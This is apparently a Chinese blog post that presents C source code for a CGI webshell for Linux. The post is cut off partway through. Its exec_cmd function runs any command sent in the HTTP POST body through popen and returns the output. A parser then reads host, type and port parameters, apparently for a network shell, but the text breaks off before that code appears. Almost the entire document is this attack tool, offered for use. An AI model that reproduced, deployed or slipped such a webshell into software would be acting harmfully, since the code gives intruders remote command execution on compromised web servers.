Linux C代码实现cgi shell
浏览数:38 /
时间:2015年06月20日
C语言实现cgi webshell
#include <stdio.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
struct get_data {
char key[100];
char value[100];
};
void exec_cmd(void){
printf("Content-type:text/html\n\n");
FILE *command;
int size = atoi(getenv("CONTENT_LENGTH"));
if(size > 1500) {
printf("Error> Post Data is very big");
exit(0);
}
char *buffer = malloc(size+1);
fread(buffer,1,size,stdin);
command = popen(buffer,"r");
char caracter;
while((caracter = fgetc(command))){
if(caracter == EOF) break;
printf("%c",caracter);
}
pclose(command);
free(buffer);
exit(0);
}
int error(char *err){
perror(err);
exit(EXIT_FAILURE);
}
void parser_get(void){
printf("Content-type:text/html\n\n");
struct get_data *s;
char *GET = (char *)getenv("QUERY_STRING");
int i,number_of_get = 0,size_get = strlen(GET);
if(strlen(GET) > 100)
exit(0);
s = (struct get_data *)malloc(number_of_get*sizeof(struct get_data));
int element = 0;
int positionA = 0;
int positionB = 0;
int id = 0;
for(i=0;i<size_get;i++){
if(GET[i] == ‘=‘){
id = 1;
s[element].key[positionA] = ‘\0‘;
positionB = 0;
continue;
}
if(GET[i] == ‘&‘){
id = 0;
s[element].key[positionA] = ‘\0‘;
s[element].value[positionB] = ‘\0‘;
positionA = 0;
positionB = 0;
element++;
continue;
}
if(id==0){
s[element].key[positionA] = GET[i];
positionA++;
}
if(id==1){
s[element].value[positionB] = GET[i];
positionB++;
}
if(i == size_get-1 && GET[size_get-1] != ‘&‘){
s[element].key[positionA] = ‘\0‘;
s[element].value[positionB] = ‘\0‘;
element++;
continue;
}
}
char *host_x = (char *)malloc(100);
host_x = NULL;
char *type_x = (char *)malloc(100);
type_x = NULL;
int port_x = 0;
for(i=0;i<element;i++){
if(strcmp(s[i].key,"type")==0)